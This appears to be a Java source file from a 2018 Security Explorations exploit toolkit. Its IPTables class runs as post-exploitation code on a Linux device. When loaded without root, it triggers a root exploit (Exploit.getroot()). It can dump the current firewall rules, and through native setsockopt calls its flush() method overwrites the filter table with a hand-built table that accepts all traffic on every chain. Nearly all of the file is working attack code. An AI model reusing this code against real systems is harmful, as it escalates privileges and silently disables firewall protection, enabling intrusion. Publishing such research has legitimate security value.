/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;

public class IPTables {
 public static final int BUFSIZE     = 0x1000;

 public static final int PF_INET     = 0x02;
 public static final int SOCK_RAW    = 0x03;
 public static final int IPPROTO_RAW = 0xff;

 public static final int SOL_IP      = 0x00;

 public static final int IPT_BASE_CTL               = 64;

 public static final int IPT_SO_SET_REPLACE         = IPT_BASE_CTL;
 public static final int IPT_SO_SET_ADD_COUNTERS    = IPT_BASE_CTL+1;

 public static final int IPT_SO_GET_INFO            = IPT_BASE_CTL;
 public static final int IPT_SO_GET_ENTRIES         = IPT_BASE_CTL+1;
 public static final int IPT_SO_GET_REVISION_MATCH  = IPT_BASE_CTL+2;
 public static final int IPT_SO_GET_REVISION_TARGET = IPT_BASE_CTL+3;

 public static String FILTER_TABLE = "filter";

 static boolean disabled = false;

 private static int ssopt_tab[]={
  0x66, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x00, 0x00, // table name = "filter"
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

  0x0e, 0x00, 0x00, 0x00, // valid_hooks (01110 = INPUT,FORWARD,OUTPUT)
  0x04, 0x00, 0x00, 0x00, // num_entries
  0x6c, 0x02, 0x00, 0x00, // size of new entries
  0x00, 0x00, 0x00, 0x00, // hook_entry #0 PREROUTING
  0x00, 0x00, 0x00, 0x00, // hook_entry #1 INPUT
  0x94, 0x00, 0x00, 0x00, // hook_entry #2 FORWARD
  0x28, 0x01, 0x00, 0x00, // hook_entry #3 OUTPUT
  0x00, 0x00, 0x00, 0x00, // hook_entry #4 POSTROUTING
  0x00, 0x00, 0x00, 0x00, // underflow #0
  0x00, 0x00, 0x00, 0x00, // underflow #1
  0x94, 0x00, 0x00, 0x00, // underflow #2
  0x28, 0x01, 0x00, 0x00, // underflow #3
  0x00, 0x00, 0x00, 0x00, // underflow #4
  0x04, 0x00, 0x00, 0x00, // num_counters
  0x00, 0x00, 0x00, 0x00, // ptr to counters

  // ipt_entry #0
  0x00, 0x00, 0x00, 0x00, // src IP
  0x00, 0x00, 0x00, 0x00, // dst IP
  0x00, 0x00, 0x00, 0x00, // src mask
  0x00, 0x00, 0x00, 0x00, // dst mask

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // iniface
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // outiface
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // iniface_mask
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // outiface_mask
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00,                                     // protocol ANY
  0x00,                                           // flags
  0x00,                                           // invflags
  0x00, 0x00, 0x00, 0x00,                         // nfcache

  0x70, 0x00,                                     // target_offset
  0x94, 0x00,                                     // next_offset
  0x00, 0x00, 0x00, 0x00,                         // comefrom

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // packet cnt
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // byte cnt

  0x24, 0x00,                                     // target_size
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // target name
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00,                                           // revision
  0xfe, 0xff, 0xff, 0xff,                         // target data = -NF_ACCEPT-1

  // ipt_entry #1
  0x00, 0x00, 0x00, 0x00, // src IP
  0x00, 0x00, 0x00, 0x00, // dst IP
  0x00, 0x00, 0x00, 0x00, // src mask
  0x00, 0x00, 0x00, 0x00, // dst mask

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // iniface
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // outiface
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // iniface_mask
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // outiface_mask
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00,                                     // protocol ANY
  0x00,                                           // flags
  0x00,                                           // invflags
  0x00, 0x00, 0x00, 0x00,                         // nfcache

  0x70, 0x00,                                     // target_offset
  0x94, 0x00,                                     // next_offset
  0x00, 0x00, 0x00, 0x00,                         // comefrom

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // packet cnt
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // byte cnt

  0x24, 0x00,                                     // target_size
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // target name
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00,                                           // revision
  0xfe, 0xff, 0xff, 0xff,                         // target data = -NF_ACCEPT-1

  // ipt_entry #2
  0x00, 0x00, 0x00, 0x00, // src IP
  0x00, 0x00, 0x00, 0x00, // dst IP
  0x00, 0x00, 0x00, 0x00, // src mask
  0x00, 0x00, 0x00, 0x00, // dst mask

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // iniface
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // outiface
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // iniface_mask
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // outiface_mask
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00,                                     // protocol ANY
  0x00,                                           // flags
  0x00,                                           // invflags
  0x00, 0x00, 0x00, 0x00,                         // nfcache

  0x70, 0x00,                                     // target_offset
  0x94, 0x00,                                     // next_offset
  0x00, 0x00, 0x00, 0x00,                         // comefrom

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // packet cnt
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // byte cnt

  0x24, 0x00,                                     // target_size
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // target name
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00,                                           // revision
  0xfe, 0xff, 0xff, 0xff,                         // target data = -NF_ACCEPT-1

  // ipt_entry #3
  0x00, 0x00, 0x00, 0x00, // src IP
  0x00, 0x00, 0x00, 0x00, // dst IP
  0x00, 0x00, 0x00, 0x00, // src mask
  0x00, 0x00, 0x00, 0x00, // dst mask

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // iniface
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // outiface
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // iniface_mask
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // outiface_mask
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

  0x00, 0x00,                                     // protocol ANY
  0x00,                                           // flags
  0x00,                                           // invflags
  0x00, 0x00, 0x00, 0x00,                         // nfcache

  0x70, 0x00,                                     // target_offset
  0xb0, 0x00,                                     // next_offset
  0x00, 0x00, 0x00, 0x00,                         // comefrom

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // packet cnt
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // byte cnt

  0x40, 0x00,                                     // target_size
  0x45, 0x52, 0x52, 0x4f, 0x52, 0x00, 0x00, 0x00, // target name = "ERROR"
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00,
  0x00,                                           // revision
  0x45, 0x52, 0x52, 0x4f, 0x52, 0x00, 0x00, 0x00, // target name = "ERROR"
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
 };

 private static int socket;
 private static int getsockopt;
 private static int setsockopt;

 static {
  NativeCode nc=NativeCode.getInstance();

  socket=nc.get_libc_sym_addr("socket");
  getsockopt=nc.get_libc_sym_addr("getsockopt");
  setsockopt=nc.get_libc_sym_addr("setsockopt");

  if (Syscall.getuid()!=0) {
   ApiMonitor.log("getroot");
   Exploit.getroot();
   ApiMonitor.log("getroot exit");
  }
 }

 private static int raw_socket() {
  NativeCode nc=NativeCode.getInstance();  
  return nc.invoke(socket,PF_INET,SOCK_RAW,IPPROTO_RAW,0,0,0,0,0);  
 }

 private static int set_sock_options(int fd,int opt,int tab[]) {
  NativeCode nc=NativeCode.getInstance();  

  int size=tab.length;
  int buf=nc.malloc(size);

  for(int i=0;i<size;i++) {
   Memory.write_byte(buf+i,tab[i]);
  }

  int counters=0;

  if (opt==IPT_SO_SET_REPLACE) {
   int cntsize=Memory.read_dword(buf+0x54)*2*8;

   counters=nc.malloc(cntsize);
   Utils.memset(counters,0,cntsize);

   Memory.write_dword(buf+0x58,counters);
  }

  int res=nc.invoke(setsockopt,fd,SOL_IP,opt,buf,size,0,0,0);  

  if (opt==IPT_SO_SET_REPLACE) {
   nc.free(counters);
  }

  nc.free(buf);

  return res;
 }

 private static int[] get_sock_options(int fd,int opt) {
  int tab[]=null;

  NativeCode nc=NativeCode.getInstance();  

  int buf=nc.malloc(BUFSIZE);

  int psize=nc.malloc(4);
  Memory.write_dword(psize,BUFSIZE);

  int res=nc.invoke(getsockopt,fd,SOL_IP,opt,buf,psize,0,0,0);  

  if (res>0) {
   int size=Memory.read_dword(psize);

   tab=new int[size];

   for(int i=0;i<size;i++) {
    tab[i]=Memory.read_byte(buf+i);
   }
  }

  nc.free(psize);
  nc.free(buf);

  return tab;
 }

 private static int ipt_getinfo(int fd) {
  int ipt_getinfo_size=32+4+2*5*4+4+4;

  NativeCode nc=NativeCode.getInstance();

  String table=FILTER_TABLE;

  int ipt_getinfo=nc.malloc(ipt_getinfo_size);
  Utils.memset(ipt_getinfo,0,ipt_getinfo_size);

  Utils.memcpy(table.getBytes(),ipt_getinfo,table.length());

  int psize=nc.malloc(4);
  Memory.write_dword(psize,ipt_getinfo_size);

  int res=nc.invoke(getsockopt,fd,SOL_IP,IPT_SO_GET_INFO,ipt_getinfo,psize,0,0,0);  

  if (res<0) {
   nc.free(ipt_getinfo);
   ipt_getinfo=0;
  }

  nc.free(psize);

  return ipt_getinfo;    
 }

 private static int ipt_getentries(int fd,int ipt_getinfo) {
  NativeCode nc=NativeCode.getInstance();

  String table=FILTER_TABLE;

  int size=Memory.read_dword(ipt_getinfo+32+4+2*5*4+4);
  int ipt_getentries_size=32+4+size;

  int ipt_getentries=nc.malloc(ipt_getentries_size);
  Utils.memset(ipt_getentries,0,ipt_getentries_size);

  Utils.memcpy(table.getBytes(),ipt_getentries,table.length());
  Memory.write_dword(ipt_getentries+32,size);

  int psize=nc.malloc(4);
  Memory.write_dword(psize,ipt_getentries_size);

  int res=nc.invoke(getsockopt,fd,SOL_IP,IPT_SO_GET_ENTRIES,ipt_getentries,psize,0,0,0);  

  if (res<0) {
   nc.free(ipt_getentries);
   ipt_getentries=0;
  }

  nc.free(psize);

  return ipt_getentries;    
 }

 public static byte[] get_rules() {
  byte rules[]=null;

  int fd=raw_socket();

  ApiMonitor.log("raw_socket "+fd);

  if (fd>0) {
   int ipt_getinfo=ipt_getinfo(fd);

   if (ipt_getinfo!=0) {
    int valid_hooks=Memory.read_dword(ipt_getinfo+32);
    int num_entries=Memory.read_dword(ipt_getinfo+32+4+2*5*4);
    int size=Memory.read_dword(ipt_getinfo+32+4+2*5*4+4);

    ApiMonitor.log("valid_hooks "+Utils.hex_value(valid_hooks,8));
    ApiMonitor.log("num_entries "+Utils.hex_value(num_entries,8));
    ApiMonitor.log("size "+Utils.hex_value(size,8));

    int ipt_getentries=ipt_getentries(fd,ipt_getinfo);

    ApiMonitor.log("ipt_getentries "+Utils.hex_value(ipt_getentries,8));

    if (ipt_getentries!=0) {
     rules=Utils.buf2barray(ipt_getentries,size+32+4);
    }
   }

   Syscall.close(fd);
  }

  return rules;
 }

 public static void flush() {
  if (disabled) return;

  int fd=raw_socket();
  ApiMonitor.log("raw_socket "+fd);

  if (fd>0) {
   int ipt_getinfo=ipt_getinfo(fd);

   if (ipt_getinfo!=0) {
    int num_entries=Memory.read_dword(ipt_getinfo+32+4+2*5*4);

    ssopt_tab[0x54]=num_entries&0xff;

    int res=set_sock_options(fd,IPT_SO_SET_REPLACE,ssopt_tab);
    ApiMonitor.log("set_sock_options "+res);

    ssopt_tab[0x54]=4;

    res=set_sock_options(fd,IPT_SO_SET_REPLACE,ssopt_tab);
    ApiMonitor.log("set_sock_options "+res);

    NativeCode nc=NativeCode.getInstance();
    nc.free(ipt_getinfo);

    disabled=true;
   }

   Syscall.close(fd);
  }
 }
}
